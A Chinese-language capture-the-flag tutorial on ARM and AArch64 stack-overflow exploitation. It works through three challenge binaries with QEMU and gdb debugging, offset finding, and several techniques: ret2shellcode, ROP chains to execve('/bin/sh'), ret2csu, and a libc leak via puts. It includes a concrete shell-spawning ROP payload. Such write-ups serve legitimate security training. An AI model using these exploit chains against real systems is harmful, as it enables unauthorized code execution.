arm pwn 入门
arm pwn基本技能
qemu调试arm用户态程序
1 | 使用qemu-arm将程序运行起来,并指定一个端口用于连接gdb |
调试mips程序的设置也类似
1 | 启动mips应用程序,并指定调试端口 |
安装arm64的lib库
1 | sudo apt search "libc6-" | grep "arm" |
qemu-aarch64
执行时通过-L
指定/usr/aarch64-linux-gnu
目录即可,如:
1 | qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn |
练习题 - typo
题目文件:typo
分析
查看文件属性,arm32位可执行程序,静态连接,去符号表。
查看编译选项,栈无canary但栈不可执行,程序未开启随机化故加载基址固定。
1 | bling@Ubuntu2004:~/ctf$ file ./typo |
通过start()函数或关键字符串的交叉引用来寻找main()函数。
start函数中LDR R0,=sub_8F00中的sub_8F00就是main函数
1
2
3
4
5
6.text:00008BB4 PUSH {R12}
.text:00008BB8 LDR R0, =sub_8F00
.text:00008BBC LDR R3, =0xA5EC
.text:00008BC0 BL sub_9EBC
.text:00008BC4 BL sub_F0E0
.text:00008BC4 ; End of function start关键字符串,如运行时打印的
Let's Do Some Typing Exercise~
,在IDA中寻找对该字符串的引用
对于这种输入类的题,首先想到的是输入一个超长字符串看程序会不会崩。果然崩掉了。
1 | qemu-arm ./typo |
使用gdb-multiarch调试一下崩溃位置,是否覆盖了返回地址
qemu-arm侧
1
qemu-arm -g 1234 ./typo
gdb-multiarch侧
1
2
3
4
5
6
7
8gdb-multiarch ./typo
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
set architecture arm
The target architecture is assumed to be arm
set endian little
The target is assumed to be little endian
target remote :1234
Remote debugging using :1234这里在gdb内设置的set和target remote都可以写在一个配置文档里,通过
gdb-multiarch -x abc.cfg
指定。pwntools生成字符串pattern
1
2
3>> from pwn import *
>> cyclic(200)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'接下来:
gdb-multiarch内执行
c
qemu-arm界面,回车后,将上述200个字符输入
回到gdb-multiarch界面,可以看到如下寄存器信息,PC指针被我们的输入覆盖了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16─────────────────────────────────[ REGISTERS ]──────────────────────────────────
R0 0x0
*R1 0xfffeeed4 ◂— 0x61616161 ('aaaa')
*R2 0x7e
R3 0x0
*R4 0x62616162 ('baab')
R5 0x0
R6 0x0
R7 0x0
R8 0x0
*R9 0xa5ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr}
*R10 0xa68c ◂— push {r3, r4, r5, lr}
*R11 0x62616163 ('caab')
R12 0x0
*SP 0xfffeef48 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
*PC 0x62616164 ('daab')在pwntools中确定
'daab'
的偏移量,为1121
2>>> cyclic_find('daab')
112因此,我们通过padding 112个字符,就能覆盖函数返回地址,劫持控制流
利用
方法1 - ret2shellcode
方法2 - rop:svc
svc:id=0xb;R0=addr(“/bin/sh”);R1=0;R2=0
以上系统调用等同于execve(“/bin/sh”,0,0)
找到/bin/sh
字符串地址:
1 | ROPgadget --binary ./typo --string /bin/sh |
找ropgadget:
1 | ROPgadget --binary ./typo --only "pop" |
找svc
:
1 | ROPgadget --binary ./typo | grep 'svc #0' |
找mov
指令:
1 | ROPgadget --binary ./typo | grep 'mov r2, r4' |
我们的最终目标是:
- R0 = “/bin/sh”
- R1 = 0
- R2 = 0
- R7 = 0xb (对应arm下execve的系统调用)
- Rx = svc
根据目标,构造了如下rop链:
1 | g1 - 0x00020904 : pop {r0, r4, pc} |
以上rop链对应的payload为:
1 | payload = p32(0x00020904)+p32(0x0006c384)+p32(0)+p32(0x00068bec)+p32(0)+p32(0x00023dbc)+p32(0)+p32(0xb)+p32(0x00008160)+p32(0x0001aca8)+p32(0x0003338c) |
完整exp如下:
1 | from pwn import * |
方法3 - rop:func(“/bin/sh”)
system(“/bin/sh”) 或者 execve(“/bin/sh”,0,0)
使用类似pop {r0,pc}的gadget,实现对r0(第一个参数)和pc的控制,从而劫持控制流到system(“/bin/sh”)
练习题 - pwn
题目文件:pwn
分析
查看文件属性、IDA逆向二进制文件分析后,调试结果如下:
程序有两次输入。第一次输入将被放到bss段,限制了输入大小为0x200。这里没有问题。
第二次输入时,将输入0x200字节的数据给栈上的局部变量。如下所示,明显的栈溢出。
1
2
3
4
5
6ssize_t sub_4007F0()
{
__int64 v1; // [xsp+10h] [xbp+10h] BYREF
return read(0, &v1, 0x200uLL);
}因此尝试调试输入超长字符串是否能成功覆盖返回地址,劫持pc指针。如下证明输入确实控制了pc。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33─────────────────────────────────[ REGISTERS ]──────────────────────────────────
X0 0x0
*X1 0x40007ffdb0 ◂— 0x6161616261616161 ('aaaabaaa')
*X2 0x200
*X3 0x40009a21a8 ◂— 0x0
X4 0x0
X5 0x0
*X6 0x400099eb00 ◂— 0x0
*X7 0x4000000000
*X8 0x3f
*X9 0xffffffffffff
*X10 0x101010101010101
X11 0x0
X12 0x0
*X13 0x400082e048 —▸ 0x400082f1b0 ◂— 0x0
*X14 0x400085a308 ◂— 0x70737274735f5f00
*X15 0x400084ce08 ◂— 0x0
*X16 0x411028 —▸ 0x400090b9c8 ◂— 0xb0000483a9bd7bfd
*X17 0x400090b9c8 ◂— 0xb0000483a9bd7bfd
*X18 0x367
*X19 0x400868 ◂— stp x29, x30, [sp, #-0x40]!
X20 0x0
*X21 0x400610 ◂— movz x29, #0
X22 0x0
X23 0x0
X24 0x0
X25 0x0
X26 0x0
X27 0x0
X28 0x0
*X29 0x6161617261616171 ('qaaaraaa')
*SP 0x40007ffe00 ◂— 'uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaac\n'
*PC 0x6161617461616173 ('saaataaa')确定偏移量,为72
1
2>> cyclic_find('saaa')
72利用
标准qemu上
ret2shellcode
1 | from pwn import * |
补丁qemu上
补丁qemu上,bss段不可执行。考虑使用mprotect()
函数将bss段设置为可读可写可执行。
1 |
|
ret2csu
arm下的ret2csu可以实现两次控制流劫持:1、从0x4008cc处进入,通过布置好栈空间控制x19~x30内的几个寄存器,并将x30设置为0x4008ac,从而使程序执行上面这段gadget;2、进入0x4008ac后,w0/x1/x2/x3都会被栈空间的值给覆盖,将x3设置为目标地址,可以实现第一次控制流劫持;3、blr x3
返回后继续往下执行,如果此时x19和x20的值相同,就又会执行到0x4008cc;4、此时,通过布置栈空间可以再次控制x30,当执行到ret时,就实现了第二次控制流劫持。
1 | .text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j |
画个图表示一下实现两次控制流劫持时,栈空间的布局。x29处是低地址,x24处是高地址。
1 | 第 一 段 栈 空 间 |
整理一下利用思路:
第一次输入将shellcode放入bss段
第二次输入时溢出覆盖返回地址(至ret2csu),并布置好栈空间
- 第一段栈空间实现跳转到下一个gadget,并将关键寄存器赋值
- 第二段栈空间实现一个跳转,一般是跳到shellcode或某个关键函数地址上执行
接下来,只需要对照着IDA仔细地将栈空间布置好,就可以了。exp如下
1 | from pwn import * |
练习题 - melong
题目文件:melong.zip
分析
write_diary()
函数中,read()的第三个参数nbytes来自于函数参数。a2是main()函数中的一个局部变量。
1 | DWORD *__fastcall write_diary(_DWORD *result, void *a2) |
跟踪到上一级,来自v8[0],它是PT()函数的返回值。
1 | v8[0] = PT(v3); |
PT()函数内部,当ptr == exc2
时,返回值为输入的size。
1 | _isoc99_scanf("%d", &size); |
因此,只要控制ptr == exec2
,就可以在write_diary()
函数中,利用read(0, a2, nbytes)
达到栈溢出覆盖返回地址的目的。
exec2是bss段的值,初始化为0。因此,当malloc(size)执行失败时,就可以达到ptr == exec2的目的。
利用
方法1 - ret2shellcode
exp如下:
1 | from pwn import * |
方法2 - 泄露libc与getshell分开
泄露libc:
利用代码段中 的bl puts,构造puts(puts_got)
利用puts的plt项,puts(puts_got)
libc中的puts()函数也是可执行的,但是由于libc基址还未泄露,不适用于这里使用
getshell:
libc中寻找system和“/bin/sh”
system(“/bin/sh”)
方法3 - 泄露libc与getshell二合一
在代码段寻找特殊bl puts
代码,如0x110bc处。特殊之处在于,执行完puts后,会pop {r11,pc},这样我们就可以继续控制pc。
- 利用
bl puts
泄露libc - 利用0x110c4处的pop将控制流重新劫持到main,当再次栈溢出时控制执行system(“/bin/sh”)
1 | .text:000110B0 check_first ; CODE XREF: main+10C↓p |
完整exp如下:
1 | from pwn import * |
参考wp
pwndbg常用指令
1 | i r lr # 查看lr寄存器的值 |